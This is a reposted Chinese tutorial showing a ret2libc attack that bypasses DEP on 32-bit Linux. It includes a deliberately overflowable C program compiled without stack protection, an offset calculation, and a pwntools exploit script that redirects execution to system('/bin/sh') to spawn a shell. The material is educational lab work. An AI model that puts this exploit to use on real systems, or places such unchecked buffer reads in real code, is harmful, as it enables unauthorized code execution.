码迷,mamicode.com
首页 > 系统相关 > 详细

Linux下利用Ret2Libc绕过DEP

时间:2018-06-08 17:26:11      阅读:197      评论:0      收藏:0      [点我收藏+]

标签:nis   详细介绍   system   插件   mds   stdout   stack   bsp   分享图片   

Linux下利用Ret2Libc绕过DEP

⑴.  原理分析:

系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。

⑵.环境准备:

i.漏洞代码:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

void flow(){

    char buf[128];

    read(STDIN_FILENO,buf,256);

}

int main(){

    flow();

    char a[]="hello";

    write(STDOUT_FILENO,a,strlen(a));

    return 0;

}

编译指令:

gcc -fno-stack-protector -g -m32 -o vuln vuln.c

 

ii.测试环境:

测试系统:kaii 2.0 rolling

辅助插件:peda

 

⑶.测试分析:

i.存在漏洞的函数flow返回地址:

技术分享图片 

漏洞函数返回地址:0xffffd2ac。

ii.缓冲区起始地址:

技术分享图片 

缓冲区起始地址:0xffffd220

iii. 系统函数system()地址

 技术分享图片

iv.System参数:”/bin/sh”

技术分享图片 

v. system函数源码:

int system(const char * cmdstring)

 {

     pid_t pid;

     int status;

     if(cmdstring == NULL){       

          return (1);

     }

     if((pid = fork())<0){

             status = -1;

     }

     else if(pid == 0){

         execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);

         _exit(127); //子进程正常执行则不会执行此语句

        }

     else{

             while(waitpid(pid, &status, 0) < 0){

 

                   if(errno != EINTER){

                     status = -1;

                     break;

                 }

             }

         }

         return status;

 }

 

⑷.攻击过程:

i.计算攻击shellcode长度:

我们的目的是用system函数的地址覆盖返回地址,将system函数后的参数地址(后8字节,后四字节是返回地址)覆盖为我们找到的”/bin/sh”的地址。

所以size(shellcode)= address(ret)- address(buff)+ 12 = 0xffffd2ac – 0xffffd220 + 12 = 152

 

ii. 设计shellcode结构:

技术分享图片 

注:因为我们劫持程序后获得shell之后不会再返回,所以addr(ret:system)可以是任意地址。

 

iii.编写漏洞利用脚本:

from pwn import *

sh = 0xf7f4a808

system = 0xf7e0bc70

ret = 0x565555d4

payload = ‘a‘*140+p32(system)+p32(ret)+p32(sh)

p = process(‘./vuln‘)

p.send(payload)

p.interactive()

执行:

 

成功。

Linux下利用Ret2Libc绕过DEP

标签:nis   详细介绍   system   插件   mds   stdout   stack   bsp   分享图片   

原文地址:https://www.cnblogs.com/zhang293/p/9156511.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!